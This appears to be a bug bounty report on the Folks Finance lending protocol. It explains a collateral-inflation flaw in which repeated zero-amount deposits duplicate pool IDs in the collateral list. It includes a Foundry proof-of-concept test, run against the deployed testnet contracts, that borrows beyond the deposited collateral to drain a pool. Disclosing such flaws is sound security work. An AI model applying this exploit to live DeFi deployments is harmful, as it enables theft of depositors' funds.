Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
The folks-finance defi system contains a critical vulnerability in its collateral accounting mechanism. This flaw allows malicious actors to artificially inflate their collateral value by exploiting zero-amount deposits. The issue stems from the lack of proper deduplication in the collateral tracking system and a naive summation in the collateral calculation process. This vulnerability enables attackers to borrow amounts far exceeding their actual collateral and draining all liquidity from any pool in the system.
Vulnerability Details
The vulnerability exists in the collateral accounting mechanism, specifically in the interaction between LoanManagerLogic.sol and UserLoanLogic.sol. It allows an attacker to artificially inflate their collateral value through zero-amount deposits and drain any pool.
Zero-amount deposits in SpokeToken.sol: The createLoanAndDeposit function allows users to deposit any amount, including zero amounts.
Collateral tracking in UserLoanLogic.sol: The increaseCollateral function adds the poolId to loan.colPools every time a deposit is made to that pool if the user balance of that pool is 0 , even for zero-amount deposits.
Collateral calculation in UserLoanLogic.sol: The getLoanLiquidity function iterates over loan.colPools, summing up collateral values without deduplicating repeated poolIds.
The vulnerability allows an attacker to artificially inflate their collateral value by making multiple zero-amount deposits before a real deposit, enabling them to borrow disproportionately large amounts against their actual deposited collateral and drain any pool. This is possible due to the lack of proper deduplication in the colPools array and the naive summation in the getLoanLiquidity function.
Impact Details
The impact of this vulnerability is catastrophic for the lending platform:
Pool Drainage: Attackers can systematically drain liquidity from any pool in the system by exploiting the inflated collateral calculation.
Economic Model Collapse: The fundamental economic model of the platform is compromised, as risk assessment and collateralization ratios become meaningless.
Loss of User Funds: Legitimate users will lose access to their deposited funds as pools are drained by attacker.
Platform Failure: The vulnerability lead to a complete breakdown of the lending platform, rendering it non-functional.
Proof of concept
Proof of Concept:
here a poc shows how alice was able to borrow more then it's deposited amount , basically draining pool and steal bobs funds
We have added a proof of concept, in foundry that forks avalanche fugi and interacts with the deployed version of the protocol in testnet. To run the proof of concept please add the following files under tests. Please also make sure foundry is initialized in the project, and declare the custom remapping @forge-std
Second File (includes the poc): test/pocs/forktest.t.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19;import"./base_test.sol";import"@forge-std/console.sol"; contract Pocs_1 is baseTest {functiontest_poc_1() public {vm.startPrank(LISTING_ROLE);loanManager.updateLoanPoolCaps(2,hubPoolUsdc.getPoolId(),100000e6,10000e6);hubPoolUsdc.updateCapsData(HubPoolState.CapsData(type(uint64).max,type(uint64).max,1e18));vm.stopPrank();// @audit bob deposits 2000 usdc uint256 bobDeposit =2000e6; // 20 USDC_approveUsdc(bob,address(spokeUsdc), bobDeposit);_deposit(bob, bobAccountId, bobLoanIds[0], bobDeposit, spokeUsdc);// @audit alice deposit 0 amount two times to push the poolId to it's collateral array twice : uint256 aliceBalanceBefore =IERC20(USDC_TOKEN).balanceOf(alice);_deposit(alice, aliceAccountId, aliceLoanIds[0],0, spokeUsdc);_deposit(alice, aliceAccountId, aliceLoanIds[0],0, spokeUsdc);// @audit alice deposit 1000e6 usdc to the same pool : uint256 largeUsdcDeposit =1000e6; // 10 USDC_approveUsdc(alice,address(spokeUsdc), largeUsdcDeposit);_deposit(alice, aliceAccountId, aliceLoanIds[0], largeUsdcDeposit, spokeUsdc); // @audit-issue : alice can borrow way more then his collateral (basically drain all liquidity from the pool)
_borrowVariable(alice, aliceAccountId, aliceLoanIds[0],hubPoolUsdc.getPoolId(),2000e6); uint256 aliceBalanceAfter =IERC20(USDC_TOKEN).balanceOf(alice); uint256 attackProfit = aliceBalanceAfter - aliceBalanceBefore;console.log("ALICE COULD DRAIN :", attackProfit /1e6,"USDC"); } }